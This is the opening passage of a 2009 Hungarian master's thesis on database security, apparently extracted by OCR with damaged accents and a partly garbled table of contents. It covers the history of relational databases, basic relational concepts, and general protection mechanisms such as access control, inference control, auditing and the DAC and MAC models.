Debreceni Egyetem

Informatika Kar

ADATBAZISOK ADATVEDELME

Témavezeto: Készitette:
Dr. Fazekas Gabor Gajdos Janos Rajnald
Ph.D., egyetemi docens Programtervezd-informatikus-MSC
szakos hallgato
Debrecen
2009



Tartalomjegyzék

L BOVEZEIES ..ttt e 3
2. Relacios adatbaziSOoK ........ouiuuiniit it e 4
2.1. Relécios adatbdzis-kezelOk tOrténete ..........ooeeeieiiiii e 4
2.2. Relacios adatbazis-kezelok tulajdonsagai ...........ooovviiiiiiiiii i, 6
3. Adatbazisok vEdelme ........ ... 10
3.1. Az adatbazisok védelmének meghatdrozd t€nyezoi ..........ocvviviiiiiiiiiiiiii i, 10
32 ADACMOMEIL ..ot 14
33 AMACMOAEIL .o 19
3.4. Tamadasi technikdk fobb jellemzOi ..., 26
3.4.1. AZ SQL tAMAAS .. .etnitie i 26
3.4.2. AZ @MDEIT tENYCZO .. .vieeiinti ittt e e e 29
4. Az Oracle biztonsagi MegoldAsal .........o.eviiiiiiiii e 31
4.1. Standard JogoSUltSAZE TENASZET ......uvtit ittt 31
4.2. Gyanus adatbazis-miiveletek megfigyelése .............cooiiiiiiiiiiiiiiiiii 32
4.3. Az Oracle Kieg€SZIt0 OPCION . ..uvnri ettt et et e et a e e e 37
5. OSSZEEZES ..o 39
[rodalomjegyzEkK ... ..o 40



1. Bevezetés

A mai felgyorsult, rohano vildgban az informatika nagyon fontos szerepet tolt be.
Barhova megyiink is példaul a helyi 6nkormanyzatba vagy a bankunkhoz mindennapi ligyeket
intézni, szembe talalkozunk azzal, hogy a szamitdogépek nélkiilozhetetlen eszkozei a gyors és
preciz ligyintézésnek. Ha belegondolunk abba, hogy telefon ¢és e-mail segitségével
kommunikélunk egymadssal, mindenhol megjelenik az informatika. Az informatikai eszk6zok
rengeteg adatot generalnak, dolgoznak fel. Ezeket az adatokat tarolni kell, ezen adatok
tarolasara szolgéalnak a kiilonbozé adatbazis-kezeld rendszerek. Viszont senki sem szeretné,
ha iizleti, személyes adatai illetéktelenek kezébe keriilne, ezért nagyon fontos aga az
informatikdnak az informatikai biztonsdg. Célom az, hogy bemutassam a mar meglévo
biztonsagi modelleket, megmutassam, hogy hogyan lehet ezeket hasznalni, és hogy felhivjam
a figyelmet biztonsag fontossagéara. Tovabba bemutatom, az Oracle 11g biztonsagi beallitasait
¢s opcidit, és célom, hogy egy atfogd képet adjak arrdl, hogy milyen biztonsagi beallitasok
léteznek az adatbazis kezeld rendszerek feldl és, hogy rdmutassak az esetleges hibakra, és arra
hogy ezeket hogyan lehet elkeriilni. Sokszor lehet hallani olyan hireket amik, arr6l szamolnak
be, hogy bizonyos informatikai rendszereket feltdrtek és bizalmas adatokhoz jutottak hozza a
tamadok, ezzel tobb milliés kart okozva az adott cégnek. Ugy latom, hogy ezek a cégek nem
forditanak kelld energidt, ideértve a pénzt és a dolgozdk tovabbképzését, a biztonsagra.
Nagyon sokan csak akkor kezdenek gondolkozni, amikor mar megtortént a baj. Ezért

elengedhetetlen hogy foglalkozzunk a biztonsag témakdrével.



2. Relacios adatbazisok

2.1. Relacios adatbazis-kezelGk torténete

Az adatbazismodelleknek tobbféle tipusa létezik. Hierarchikus €és halos modelleket
régi rendszereken haszndltak. A relaciés modell széles korben elterjedtnek szamit. A relacios
adatbazis elve 1969-ben sziiletett meg, valdsziniileg a legszélesebb kdrben hasznalt modellé
valt az adatbazis-kezelésben. A relacids modell atyja, Dr. Edgar F. Codd (1923-2003) az IBM
kutatojaként dolgozott az 1960-as években, €és azt vizsgalta, hogy milyen j modszerekkel
lehet nagy adatmennyiségeket kezelni. Az akkor 1étezd adatbazismodellekkel és termékekkel
elégedetlen volt, ami arra 6sztondzte, hogy matematikai elvek és szerkezetek segitségével
probalja meg megoldani az eldtte allo rengeteg feladatot. Matematikusként szilardan hitt
benne, hogy a matematikanak léteznek olyan agai, amelyeket alkalmazva megoldhatok az
olyan problémak, mint az adatismétlédés (redundancia) kikiiszobolése, az adatok
egységességének biztositasa, illetve annak lekiizdése, hogy az adatbazisok szerkezete
tulzottan fiiggjon a fizikai megvalositastol.

Dr. Codd hivatalosan 1970 juniusdban, az ,,A Relational Model of Data for Large
Shared Databases” cimil, mérfoldkének szamité munkéjdban mutatta be az altala kidolgozott
Uj relacios modellt. A modell a matematika két dgara tdmaszkodott: a halmazelméletre és az
elsérendli predikatumlogikdra. Maga a modell is a halmazelmélet egyik kulcsfogalma, a
relacio kifejezés utan kapta a nevét. Azonban, relacids adatbazis nem indult sikertérténetnek.
Magaval az adatbézis logikai szerkezetével semmi baj nem volt, kisértetiesen hasonlit egy
kozonséges tablazatkezeléshez, csakhogy a lekérdezéssel gondok adodtak. A lekérdezés
nyelve ugyanis halmazelméleti és logikai ismereteket igényelt, ami még a szamitogép-
programozasnal is mostohabb feltételnek tiint a felhasznalok szemében. Maga az IBM sem
fliz6tt hozzd komolyabb reményeket, hat év alatt hoztdk létre az els6 modern adatbazis-
kezeldt, a System-R (ma DB/2) kddnevii szoftvert. Nem ugy a CIA, aki tobbek kozott Larry
Ellison ¢s Bob Miner segédletével egy hatalmas projektbe fogott bele, amelynek célja egy
olyan adattar lIétrehozasa volt, amely a CIA minden felmeriild kérdését gyorsan, hatékonyan,
¢és aranylag olcson megvalaszolja. A projekt éppen az ordkulum nevet kapta, angolul: Oracle.
1976-ban maga a projekt pénz hidnyaban nem folytatdodott, de Ellison és Miner tovabb
dolgozott a munkan az altaluk 1977-ben alapitott Relational Software Inc. (RSI, 1982-t6l
Oracle Corp.) keretein beliil. 1977-ben pedig létrejott az elsé Oracle. A jo iddben, a

szamitastechnikai boom idején végrehajtott korai piacszerzés ellehetetlenitette a tobbi



lehetséges adatmodell viragzasat. Hidba jelent meg 1977-ben az elsd értekezés egy tisztan
logikéra épiilé adatmodellrdl, az elterjedésére nem volt 1d6. 1982-re, amikor az elsé ipari
alkalmazasra is bevethetd ,Datalog” adatbazis-kezel6t létrehozzdk, mar szdmos cégnek
teljesen 6nallo relacids adatmodell alapu terméke volt a piacon. Az adatbazisok létrehozéaséara
¢s kezelésére megsziilettek az 6nallo adatbazis-kezeld nyelvek. Szamos nyelv jott 1étre, ami
viszont ismét hozzaférési problémakat, gondokat okozott.

1980-as évek elejére az IBM kidolgozott egy késébb szabvanynak is elfogadott
nyelvet, ami SQL néven valt ismerté. Rovid torténeti attekintésként annyit, hogy az SQL
nyelv elméleti alapjait E. F. Codd fektette le a relacidos adatmodellrdl szolé 1970-ben
megjelent tanulmanyaban. 1973-ban késziilt el a nyelv els6 megvalositasa az IBM-nél
»dequel” néven. 1985-ben az ANSI (American National Standards Institute, Amerikai
Szabvanyositasi Hivatal) elfogadott egy SQL szabvanyt, amit késébb modositottak, és az ISO
(International Organization for Standardization, Nemzetkdzi Szabvanyligyi Szervezet) is
elfogadott. Az SQL ma mar az adatlekérdezés vildgszabvanya, amit minden korszeri
adatbazis-kezeldnek ismernie kell. 1986-ban az SQL, mint a relacidos adatbazisok
lekérdezényelve az Egyesiilt Allamokban is, és Eurdpaban is szabvanyossa valik, ami a tobbi
adatbazisrol még nagyon sokaig nem mondhato el.

1990-es évek elején egy 1) programozasi szemléletmadd, az objektumorientaltsag jelent
meg. Mivel a legtdobb programozasi nyelvet ardnylag hamar kiszoritotta, sokaig ugy tlint az
adatbazisok vilagaban is megtori a relacios adatbazisok uralmat. Ez azonban korantsem
kovetkezett be. Jelenleg az adatbazis-piac kevesebb, mint 3% objektumorientalt adatbazis.
Manapsag a legfontosabb intézményi informacios rendszerek alapjat maguk az adatbazisok
alkotjak, ugyanakkor tipikusan objektumorientalt programozasi nyelveken irt alkalmazasok
hasznalnak relacids adatbazisokat. Ezt a fajta tudathasadast egy Oszvér megoldassal
igyekeznek napjainkban 4thidalni, nevezetesen objektumszertien lehet elérni relacios
adatbazistartalmakat. Erre, a logikai adatbazis fogalma eleve lehetdséget ad, de szabvanyban,
formalis modon is rogzitették ennek mikéntjét; ez az SQL.

A fejlédés persze nem allt meg, bar lényegesen lelassult. 1999-ben hirdette meg a
szemantikus Web programjat (Tim Berners-Lee, az Internet atyja), amely tobbek kozott az
XML nyelv altalanos elterjedéséhez vezetett. Ezzel parhuzamosan pedig megjelentek az elsé
XML dokumentumokra épiilé adatbazisok. A félreértés elkeriilése végett az XML adatbazisok

alapvetéen nem, vagy nem tipikusan XML struktirdkban taroljdk az adatokat (felesleg



helypazarlas lenne) nem a fizikai adatbazis valtozott meg, hanem ismét csak a logikai. Az
XML dokumentumok lekérdezésére 1étrehoztdk a W3C konzorcium ajanlasaként az XQuery
¢s XPath lekérdezényelveket. Az XML alapu adatbazisok elterjedéséhez az adja az alapot,
hogy az wuralkoddé trendek szerint ma nem a felhasznalok, hanem szoftverek,
szoftverligynokok allitanak el6 és dolgoznak fel automatikusan ¢és fél-automatikusan
lekérdezéseket. Az XQuery és XPath alapi megoldasok az ilyen jellegli elvarasoknak sokkal
jobban megfelelnek, mint a féleg emberi intelligenciat igényld SQL alapu rendszerek.

[Irodalomjegyzék 7.]

2.2. Relacios adatbazis-kezelok tulajdonsagai

Az adatbazis adatok rendezett gylijteménye, amellyel valamilyen szervezett dolgot
vagy szervezési folyamatot modelleziink. Adatbazisrol akkor beszéliink, ha az adatokat
konkrét célra, valamilyen rendezett forméaban gytjtjiikk és taroljuk. Az adatbézis-kezelés
teriiletén 4altalanossagban kétféle adatbazist kiillonboztethetiink meg, vannak miveleti
adatbazisok és elemz6é adatbazisok. A miiveleti adatbazisok képezik szamos vallalat,
szervezet €s intézmény gerincét. Ezt a fajta adatbazist elsésorban mindennapi adatgytijtésre,
adatok modositasra és kezelésre hasznaljak. Itt a tarolt adatok dinamikus adatok, ami azt
jelenti, hogy folyamatosan véltoznak, és mindig friss informacidkat tarolnak. Miveleti
adatbazisokat az olyan szervezetek hasznalnak, mint az 4ruhdzak, a koérhazak és klinikak,
valamint a konyvkiadok, mivel az adataik percrél percre valtoznak. Ezzel szemben az elemzd
adatbazisok korabbrol szarmazo, idoponthoz kapcsolddd adatokat tarolnak és rendszereznek.
Az 0Osszegyljtott adatokbol statisztikai jelentések, kimutatdsok megjelenitését, illetve a
taktikai és stratégiai iizleti eldrejelzését teszik lehetoveé.

A relacids-adatbazisokban az adatok relaciokban tarolodnak, amelyeket a felhasznald
tablak formajaban 1at. Az egyes relaciok egyedekbdl iigynevezett rekordokbol és
jellemzdékbdl, mezdkbdl allnak. Az adatbéazisok {6 szerkezeti elemei a tabldk. Minden tabla
egyetlen meghatarozott targyat dbrazol. A mezdk és a rekordok logikai sorrendje a tablan
beliil nem szamit. Minden tablanak tartalmaznia kell legaldbb egy mezdt az ugynevezett
elsédleges kulcsot, amely egyedileg azonositja a tdbla egyes rekordjait. A relacids
adatbazisokban levd adatok, tablak fliggetlenek att6l, hogy fizikailag miként tarolédnak a

szamitogépen. Ez abbdl a szempontbol elényds a felhasznaloknak, hogy ha ki szeretnének



nyerni egy adatot, nem kell ismerniiik a tarol6 rekord fizikai helyét. A tabldk egy személyt,
egy helyet vagy mas fizikai dolgot abrazolhatnak. Tablaban abrazolhatok példaul, termékek,
hallgatok, termek, berendezések, objektumokként. Minden objektumnak vannak olyan
jellemzdi, amelyek adatként tarolhatok, a tipusatol fliggetleniil, és ezeket az adatokat aztan
végtelen modon fel lehet dolgozni. Amennyiben a tabla targya egy esemény, ami egy adott
idépontban tortént, és olyan jellemzdi vannak, amelyeket rogziteni szeretnénk, akkor ezeket a
jellemzdéket pontosan ugyantgy tarolhatjuk adatként, és dolgozhatjuk fel, mint informaciot,
mint azokban a tablakban, amelyek valamilyen konkrét objektumot irnak le.

A mez6 az adatbazis legkisebb szerkezeti egysége, amely a hozza tartozo tabla
targyanak egy jellemzojét irja le. A mezdkben torténik az adatok tényleges tarolasa, a benniik
1évé adatokat, kinyerhetjilk és informacidként megjelenithetjilk, barmilyen formaban.
Optimalis esetben egy mezd kizarolag egyetlen értéket tartalmazhat, a mezd neve azonositja a
benne tarolt érték tipusat. Kimondottan egyszertivé valik az adatok bevitele a mezdkbe, ha
olyan nevii mezdket latunk, mint a ,,Keresztnév”, a ,,Vezetéknév”, a ,,Varos”, ,,Allam/Megye”
vagy az ,Iranyitdszam”. A rekord egy adott tdbla targyanak egy egyedi példanyéat jelképezi,
amely a tabla adott sordban taldlhatdé Gsszes mezOt tartalmazza, fliggetleniil attdl, hogy az
egyes mezOkben szerepelnek-e értékek. Minden rekordot egy egyedi érték azonosit az
adatbazisban, ¢és ez az érték a rekord elsddleges kulcs mezdjében van. A kulcsok olyan
kiilonleges mezdk, amik meghatarozott szerepet toltenek be az egyes tablakban. Ezt a szerepet
a kulcs tipusa hatdrozza meg. Egy tabla tobbféle kulcsot tartalmazhat, ezek kozil a két
legfontosabb az elsddleges kulcs €és az idegen kulcs. Az elsddleges kulcs olyan mezd vagy
mezOcsoport, ami egyedileg azonositja a tablaban taldlhaté rekordokat. Az elsddleges
kulcsokat arra is hasznalhatjuk, hogy kapcsolatot alakitsunk ki mas tablakkal. Az adatbazis
minden tabldjanak rendelkeznie kell elsédleges kulccsal. Ha két tablat valamilyen médon
Osszekapcsolunk, a kapcsolatot ugy kell 1étre hozni, hogy az egyik tabla elsddleges kulcsat
lemasoljuk és beszurjuk a masik tablaba, ahol az idegen kulcsként jelenik meg. Az idegen
kulesok azért fontosak, mert segitenek kapcsolatot teremteni két tabla kozott, tovabba azért,
mert biztositjdk a kapcsolatszintli kovetkezetességet, azaz a két tabla rekordjai mindig helyes
kapcsolatban fognak allni, mivel az idegen kulcs mezd értékei a hivatkozott elsédleges kulcs
értékeibdl szarmaznak. A nézet egy olyan virtualis tabla, amely az adatbazis egy vagy tobb
tablajanak mez6ibdl épiil fel. A nézettdblat alkotd tablak az alaptabldk. A nézettabldk nem

tarolnak adatokat, az adatbazisban csak a szerkezetiik az egyetlen informécio, ami tarolodik



roluk. A nézettablak azt teszik lehetdvé, hogy az adatbazisban tarolt informaciokat kiilonféle
szempontbol tekintsiik meg, igy az adatok kezelése nagyon rugalmassa valik. Nézettablakat
tobbféleképpen hozhatunk 1étre, akkor hasznosak, amikor tobb, egymassal kapcsolatban 4ll6
tablara alkalmazzuk Oket. A nézettdblakat szokas mentett lekérdezésként megvalositani. A
lekérdezések a legtobb esetben rendelkeznek a nézetek minden jellemzdjével, vagyis csupan a
neviik az egyetlen kiilonbség koztiik.

Ha egy adott tdbla rekordjai valamilyen mdédon egy masik tdbla rekordjaihoz kothetdk,
akkor azt mondjuk, hogy a tablak kozott kapesolat van. Két tabla kozott haromféle kapcsolat
allhat fenn: egy az egyhez, egy a tobbhoz (egy-a-sokhoz) vagy tébb a tobbhoz (sok-a-sokhoz).
A kapcsolatok fajtdinak ismerete nagyon fontos abbol a szemszogbdl, hogy hogyan
miikddnek a nézettablak, és hogy hogyan kell a tobbtablas SQL-lekérdezéseket megtervezni
¢s hasznalni.

Két tabla egy az egyhez kapcsolatban van, ha az egyik tabla (,,A”) egy rekordja a
masik tabla (,,B”)egyetlen rekordjahoz kapcsolodik, és a ,,B” tabla egy rekordja is egyetlen
rekorddal all kapcsolatban az ,,A” tablabol. Ebben a kapcsolatban az egyik tabla elsddleges
tabla, mig a masik masodlagos tabla. A kapcsolat 1étrehozasdhoz venni kell az elsédleges
tabla els6dleges kulcsat, és azt beszurni a masodlagos tablaba, ahol idegen kulcs lesz beldle.

Ha két tabla egy a tobbhoz kapcsolatban van, ha az ,,A” tabla egy rekordja a ,,B” tabla
tobb rekordjahoz is kapcsolodik, de a ,,B” tabla egy rekordja csak egyetlen rekorddal all
kapcsolatban az ,,A” tablabol. Ezt a kapcsolatot gy hozhatd létre, hogy a kapcsolat ,.egy”
oldalan 4ll6 tabla elsédleges kulcsat beszurjuk a ,,tobb” oldalon levd tablaba, ahol idegen
kulcs lesz beldle.

Két tabla tobb a tobbhoz kapcsolatban van, ha az ,,A” tdbla egy rekordja a ,,B” tabla
tobb rekordjahoz kapcsolodik, és a ,,B” tabla egy rekordja is tobb rekorddal all kapcsolatban
az ,,A” tablabol. Ezt a kapcsolat ugy hozhat6 1étre, hogy készitiink egy ugynevezett kapcsold
tablat, a kapcsolo tabla segitségével egyszeriien tarsithatjuk a rekordokat az egyik tablabol a
masik tabla rekordjaihoz, tovabba a kapcsold tabla gondoskodik arrdl, hogy a kapcsolodd
adatok hozzdadasa, torlése vagy modositasa soran semmilyen gond ne 1épjen fel. A kapcsold
tabla 1étrehozasahoz le kell masolni a kapcsolatban részt vevo tablak elsddleges kulcsat, €s
ezek segitségével alkotjuk meg az 0j tabla szerkezetét. A kulcsmezok két jol elkiilonithetd
szerepet toltenek be egyiittesen a kapcsold tabla Osszetett elsddleges kulcsat adjak, kiilon-

kiilon pedig idegen kulcsokként viselkednek.



A manapsag hasznalt kereskedelmi adatbazis-kezeld szoftverek elég nagy része
relacios alapokon nyugszik. Mieldtt valaki elkezd adatbazisokkal dolgozni, nagyon fontos
hogy tisztaban legyen az alapfogalmakkal, tudnia kell, hogyan kell megtervezni egy relacios
adatbazist, és hogyan kell azt megvaldsitani valamelyik RDBMS szoftverrel. Napjainkban
rengetek cég folytat iizleti tevékenységet az interneten ezért némi web-fejlesztési tapasztalat is
sziikséges. A relacids adatbazisok ismerete nagyon fontos, mivel kelld ismerettel konnyebben

tudunk egy adott adatbazishoz felhasznaldi alkalmazasokat fejleszteni. [Irodalomjegyzék 4.]



3. Adatbazisok védelme

3.1. Az adatbazisok védelmének meghatarozo tényezoi

Az adatbazisokon alapulé informacios rendszerek egyik lényeges vonasa, hogy a
benniik tarolt informéciokat védeni kell. Belegondolva abba, hogy mennyire felhaborodnéank,
ha a bankokban vezetett szamlainkrdl barki pontos informaciot kaphatna, ha minden adatunk
nyilvanossa valna, vagy példaul, ha szamldinkr6l barki pénzt emelhet le a mi tudtunk,
hozzajarulasunk nélkiil. Az informécids rendszernek gy kell miikkddnie, hogy mindenki csak
a jogosultsagi korébe esé adatokat érhesse el. Az informécid védelme nem kizdrélagosan az
adatbazis-kezeld rendszerek feladataihoz kapcsolddik, hiszen az informatika szinte minden
teriiletén sziikség van az ott feldolgozott informacidk jogosulatlan felhasznalasanak
megakadalyozasara. Az operaciés rendszerek teriiletén is taldlkozhatunk a védelem
legkiilonb6zdbb megjelenési formdival. Rogton az indulaskor a rendszerhez val6d hozzaférést
csak akkor kapjuk meg, ha azonositjuk magunkat, mint jogosult felhasznalé egy azonositd
név és egy jelszo segitségével. A sikeres bejelentkezés utan a tobb-felhasznalds rendszer nem
tarulkozik ki eldttiink teljes egészében, csak bizonyos részletekhez enged hozzaférést. A
leggyakoribb operacids rendszerbeli védelmek a felhasznalokat és az objektumokat azonositd
adatbazis-kezeld rendszerekben is vannak ilyen védelmi funkciok, példaul az Oracle RDBMS
esetében 1is, elobb azonositani kell magunkat egy névvel és egy jelszoval, hogy
hozzéaférhessiink az adatbéazisban tarolt adatokhoz. A sikeres bejelentkezés utdn, csak egy
korlatozott hozzaférési jogot kapunk az adatbazishoz, hiszen mind az elvégezhetd miiveletek,
mind pedig az elérhetd objektumok csak egy sziik része az adatbazisban letarolt és biztositott
objektumok, funkcidk halmazanak.

A kovetkezdkben az RDBMS rendszerekben megvalositott védelmi funkcidkat és
védelmi modszereket mutatom be. Az RDBMS szamos az operdciés rendszerben
megszokottol eltéré egyedi védelmi sajatsaggal is rendelkezik. Az operacios rendszerek
utasitdsai, mechanizmusai 6nmagukban nem elegendéek az RDBMS hatékony védelmi
mechanizmusanak kiépitésére. Az RDBMS rendszerek védelmi aspektusat vizsgélva az
adatbazis biztonsaganak fogalmat ez eldbb emlitettektl tagabb értelemben is szokds
hasznalni. A biztonsdg ebben a megkdzelitésben mindazt magaba foglalja, ami a
rendeltetésszeri, elvart miikodéshez sziikséges. Ide szokas sorolni azon mechanizmusokat is,

melyek a tarolt adatok helyessége, az adatok integritasa felett 6rkddnek, hiszen a téves adatok
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a rendszer hasznalhatosagat akndzzak ala. Az elvart miikodéshez tartozik még emellett az is,
hogy a rendszer az igényelt idokben, koriilmények kozott ki tudja szolgalni az igényeket, ne
vesszenek el beldle adatok, ne kelljen rendszer 6sszeomldsok miatt varakozni. Ez alapjan
tehat az RDBMS biztonsaga altalanos szinten tekintve harom f6 komponenst foglal magéba:

- adatok védelme (security)

- adatok megbizhatosaga (integrity)

- rendelkezésre allas (avaibality)

fgy a rendszer biztonsaganak megitélésénél figyelembe kell venni, hogy mennyire véd meg a
jogosulatlan hozzaférésektél, masodsorban mennyire tudja garantalni az adatok helyességét,
integritasat, s harmadsorban mennyire megbizhatd a rendszer miikodése. E szempontok
egylittese ad igazan mérvado jellemzést a biztonsag fokarol.

A hozzaférés védelem dnmagaban is egy igen széles teriiletet 6lel fel. Szamos olyan
aga van, melyek mindegyike kiilonallé agat képvisel. A hozzaférés védelem ugyanis sokkal
tobb dolgot rejt magaban, mint egy egyszerii engedélyezés-tiltds mechanizmus, melyben az
igényld és az igényelt objektum-azonositd szamainak fiiggvényében vagy engedélyezziik a
hozzaférést, vagy pedig letiltjuk a hozzaférést. Ugyanis mind a hozzaférés modjainak, mind
pedig a tiltds mddjainak szamos arnyalata 1étezik, melyek teszik igazan tarkava és igazan
érdekessé a képet. A lehetséges védelmi mechanizmusok kozott természetesen elsé rendi
fontossdgot a hozzaférési jogosultsdg ellendrzése (access control) all. E mechanizmus
feladata, hogy adott igényld és igényelt objektum esetén eldontse, hogy engedélyezhetd-e az
igényelt hozzaférési mod vagy sem. Az engedélyezésnek szamos véltozata, modszere lehet. A
gyakorlatban mi magunk is a bdriinkon érezhetjiik e mechanizmus mitkodését, amikor egy
masik felhaszndl6 tablait szeretnénk példaul olvasni, s a rendszer nem hajtja végre az olvasast,
ehelyett visszautasitja ez irdnyl parancsunkat.

Ugyancsak lényeges ¢€s szintén kozismert eleme a védelemnek a bejelentkezési
mechanizmus, amikor is egy név és egy jelszo segitségével kozoljikk a rendszerrel, hogy
jogosult felhasznalok vagyunk. E mechanizmus az azonositasi mechanizmus (identification).
Az RDBMS rendszerek a jelszavak tarolasara és ellendrzésére hasonld mechanizmust
hasznalnak, mint az operaciés rendszerek, azaz egy egy-utas ,hash” fliggvényt meghivva
kodolja a megadott jelszot. Az egy-utas elnevezés arra utal, hogy a kodolt alakbdl mar nem
lehet visszakovetkeztetni (legalabbis hatékony algoritmussal) az eredeti jelszéra. A

bejelentkezéskor megadott jelszot elébb kodoljak, s a kapott kodolt alakot hasonlitjak ossze a
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letarolt alakkal. Ha a két kodolt alak megegyezik, akkor a helyesnek tekinthetd a bevitt jelszo.
A kodolt jelszavak tarolasa az RDBMS esetében rendszer tablaban torténik, melyhez azonban
normal felhasznalonak még olvasasi jogosultsaga sem létezik.

Egy igen érdekes védelmi elem a kovetkeztetési lehetdségek kizarasdnak
mechanizmusa (inference control). Ez a mechanizmus azt kivanja megakadalyozni, hogy
jogosult adatok alapjan ne lehessen nem jogosult adatokra kovetkeztetni. Normal esetben
Osszesitett adatokbol nem lehet az egyedi értékekre kovetkeztetni, de ha példaul, csak
egyetlen rekord szerepel az aggregacids alaphalmazban, akkor maris egyedi értékekhez jutott
a felhasznal6. Ugyancsak fontos informaciok nyerhetok ki a rendszer altal kiildott
hibatizenetek alakjabol is, hiszen nem ugyanazt jelenti a felhaszndldo szdmara, ha egy
hivatkozas példaul azért nem sikeriilt, mert az objektum nem Ilétezik, mintha a védelmi
korlatokra utal a hibaiizenet. Ez utdbbi esetben mar az objektum Iétezésére lehet
kovetkeztetni. A kovetkeztetések megnehezitésére szamos megoldasi javaslatot dolgoztak ki,
melyek vonatkoznak az aggregacios eredmények ellendrzésére, igy példaul egy megadott
egyedszam alatt nem lehet aggregacios lekérdezést hivni. Egyes javaslatok az egyedi értékek
zavarasan alapulnak, igy a kapott egyedi értékek nem a valds értékeknek, hanem olyan
generalt értékeknek felelnek meg, amelyek Osszességiiket tekintve hasonléan viselkednek az
eredeti egyedhalmazhoz. A kovetkeztetések megnehezitésének egy masik moddszere a
hibaiizenetek szandékosan kétértelmiivé tétele (amellyel valoban taldlkozhatunk is az
RDBMS rendszerekben).

A védelmi mechanizmusok kozé tartozik még a titkositas modszere (cryptography).
Ebben az esetben nem a hozzaférést, hanem az olvasott adatok megértését kivanjak
megakadalyozni. A titkositasnak is szdmos valtozata van, kezdve a DES blokk-kodolastol az
FSR, RSA, stb. kodolasi algoritmusokig. E teriiletnek 6nmagaban is igen széles irodalma,
hattere van. A titkositds lehetdségét gyakran alkalmazzdk olyan adatrendszerek is,
amelyekben az operaciés rendszer nem biztositja a megfeleld védelmi hatteret. Az
adataramlas ellendrzés (data flow control) feladata a felhasznaléhoz keriildo és onnan
tovabbjutd adatok aramldsdnak ellendrzése. Természetesen ez igen nehezen ellendrizhetd,
hiszen vannak olyan csatornak is, melyek kikeriilik az RDBMS ellendrzési rendszerét, példaul
szobeli kozlés forméjaban. A mechanizmus inkabb arra késziilt, hogy véletleniil, esetleg
gondatlansdgb6l az RDBMS-t felhasznélva ne tudjon egy felhasznald bizalmas informaciot

jogosulatlan felhasznalok felé tovabbitani.
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A védelemi modszerekhez sorolhatdé még a naplozas (audit) rendszere, amely ugyan
kozvetleniil nem alkalmas a hozzaférés megakadalyozasara, de az utdlagos ellendrzések miatt
elrettentd, s késObb bizonyitd hatdsa van. A naplozas jelentds helyigénye miatt e lehetdséget
csak igen sziik felhasznaloi kornek szoktdk engedélyezni. A legfontosabb védelmi
mechanizmusok kozé tehat kovetkezok tartoznak:

- bejelentkezés ellendrzés (identification, login account)

- hozzaférés ellendrzés (access control)

- kovetkeztetési ellendrzés (inference control)

- adataramlés ellendrzés (flow control)

- titkositas (cryptologhy)

- naplézés (audit)

E mechanizmusok rendszerint egyiitt, egymashoz kapcsoléddan jelennek meg az RDBMS
védelmi rendszerében. A védelmi rendszer a kiépitettségtdl fliggden néhany vagy éppen
mindegyik elemét tartalmazza a fenti listanak. E rendszerek egyiittesen gondoskodnak a
hozzaférési védelem biztositasarol. A védelmi rendszer a felhasznaldok és az erdforrasok
kozott helyezkedik el és szerepe a hozzaférések ellenérzése. A védelmi rendszeren beliil
kiilonb6zé védelmi mechanizmusok keriilnek megvalésitasra, melyek egyiittesen valdsitjak
meg az RDBMS védelmét. Az egyes mechanizmusokhoz kapcsolddik egy algoritmus rész
(védelmi moédszer), amely leirja a mechanizmus mitkodését (mikor mit kell tenni), illetve
tarsul hozzd egy védelmi adatrendszer is, mely az objektumok, felhasznalok jogosultsagi
adatait tartalmazza. A védelmi modszerek ezen a jogosultsagi adatok alapjan dontik el, hogy
funkcidji védelmi modszert is tartalmazhat. A moédszerek kivalasztdsdhoz sziikséges egy
iranyit6 elv, amit védelmi stratégidnak neveziink. Ezen elv hatirozza meg, hogy mire kell
tigyelni a védelmi rendszernek, mi legyen a védelmi rendszer célja. A stratégia alapjan mar
kivalaszthatok a stratégiat megvalositd mechanizmusok.

Az RDBMS rendszerek alapvetden kétféle f6 stratégiai alapirany valamelyikét
valdsitjadk meg, illetve vannak bizonyos rendszerek, melyek mindkét alapirdnyhoz tartozo
mechanizmusokat megvalodsitjdk rendszereikben védelem maximalis teljesitoképessége
érdekében. Az egyik fO0 irdny a diszkrecionalis, decentralizalt védelmi stratégia (DAC,
discretionary access control). Ennek jellemzdje, hogy a védelmi adatok kezelése

decentralizaltan torténik. Ilyen stratégian alapul az operacids rendszerek alloméanyvédelmi
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mechanizmusa is, melyben minden objektumnak és felhasznaloénak egyedi azonosité koddal
kell rendelkeznie, s az objektumhoz val6 hozzaférést alapvetden az objektum tulajdonosa, az
objektumot létrehoz6 személy hatdrozza meg. Ebben a rendszerben az objektum tulajdonosa
adhat, illetve vonhat meg hozzaférési jogokat mas személyektdl. E rendszer elonye, hogy nem
sziikséges kozponti nyilvantartds a védelmi adatokrdl, s nincs sziikség kozponti ellenérzésre
sem az objektumok fol6tt. A tulajdonos hatarozhatja meg, hogy mely felhasznalok férhetnek
hozzé az objektumokhoz, azaz a tulajdonos feleldssége az adatok megfeleld védelmi szinten
valé megorzése. Ez a nagyfoku szabadsdg azonban bizonyos esetekben mar a biztonsag
rovasara mehet, ezért kidolgoztak egy masik stratégiai modellt is a szigorubb kovetelmények
teljesitéséhez.

A masik alapvetd stratégia a kotelezd jellegli, kdzponti irdnyitdsu védelmi
rendszerhez tartozik (MAC, mandatory access control). Ebben a stratégidban egy kodzponti
menedzser feliigyeli a kotelezd jellegi védelmi kodokat. Minden egyed és az objektum
védelmi kodjat egyetlen kdzponti helyrdl hatarozzak meg. A hozzaférés engedélyezése itt is
az objektum és a kérelmezd védelmi kddjainak alapjan dol el, azonban itt egy kifinomultabb
védelmi adatszerkezetet hoztak 1étre, melyben finomabban lehet mind a felhasznalokat, mind
az objektumokat osztalyozni. A MAC rendszer elénye, hogy a kozponti irdnyitasbol
kovetkezéen sokkal jobban ellendrizhetd az adathozzaférés, és az adatdramlas is. A MAC
elénye még a strukturaltabb védelmi kodok is. A hatranyok kdz¢é viszont a valamivel nagyobb
er6forrasigény sorolhatd, hiszen tobb informadciot, részletesebb informéaciot kell tarolni az
objektumokroél, s személyekrél. A MAC rendszereket rendszerint a nagyobb védelmi igényii

helyeken, mint a hadiipar, kormanyzas alkalmazzak.

3.2 A DAC modell
A DAC modell jellemzdje, hogy minden objektumhoz kiilon feljegyzésre keriil,

hogy mely felhasznalok férhetnek hozza. A hozzaférésnek rendszerint tobb tipusat
kiilonboztetjiik meg, ami utal arra, hogy milyen tevékenységet kivan a felhasznalo az
objektumon végrehajtani. A leggyakoribb hozzaférési modok: olvasds (r), irds (w) és
végrehajtas (x). Az objektumok és a felhasznalok kapcsolatat egy hozzaférési matrixszal
